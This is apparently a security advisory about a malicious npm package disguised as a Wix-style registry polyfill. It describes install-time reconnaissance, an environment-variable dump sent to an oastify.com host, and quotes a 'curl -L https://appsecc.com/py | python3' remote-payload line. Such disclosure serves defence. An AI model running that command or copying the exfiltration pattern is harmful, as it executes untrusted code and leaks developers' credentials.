GCVE-110-OSM-2026-13265

The package presents itself as a polyfill exporting Wix thunderbolt-style registry stubs (thunderboltRegistry, siteAssetsRegistry, documentManagementRegistry, editorRegistry, corvidRegistry, etc.), but thunderboltRegistry.js runs an IIFE on module load that performs two installer-side attacks. First, it executes `id`, `whoami`, `env`, and `ifconfig`/`ip addr` via child_process.execSync, collects the OS hostname, and POSTs the output together with a wholesale dump of process environment variables via fetch() to the hardcoded Burp Collaborator OAST host https://unl9pgk6ei4uf80n5tf4iktspjvbuzkn9.oastify.com/, including a tagged `cmd=env` beacon. Environment variables on developer and CI hosts routinely contain cloud, registry, and CI credentials. Second, it runs `curl -L https://appsecc.com/py | python3` via execSync, fetching and executing an arbitrary remote Python payload on the installer's machine, with a self-labeled `cmd=reverse-shell` beacon sent to the same OAST host. The registry-API facade and the Wix-adjacent naming are cover for the reconnaissance and remote code execution in the same file; the package has no legitimate functionality. ENTRY index.js (main: index.js) DESTINATION - 4 exfil (oast, custom-c2) (values recorded in verified_iocs) EXFIL - OAST/Interactsh Exfiltration in thunderboltRegistry.js: "oastify.com" - Data Encoding for Exfiltration in thunderboltRegistry.js: "encodeURIComponent(site)).catch(function(){}); } catch(e" - Curl/Wget Pipe to Shell in thunderboltRegistry.js: "curl -L https://appsecc.com/py | python" - System Information Collection in thunderboltRegistry.js: "process.platform" - Suspicious Domain in thunderboltRegistry.js: "oastify.com" ADDITIONAL FINDINGS - Shell Command Execution in thunderboltRegistry.js: "require("child_process")" - Brand New Package - Very New NPM Publisher Account PAYLOAD FILES thunderboltRegistry.js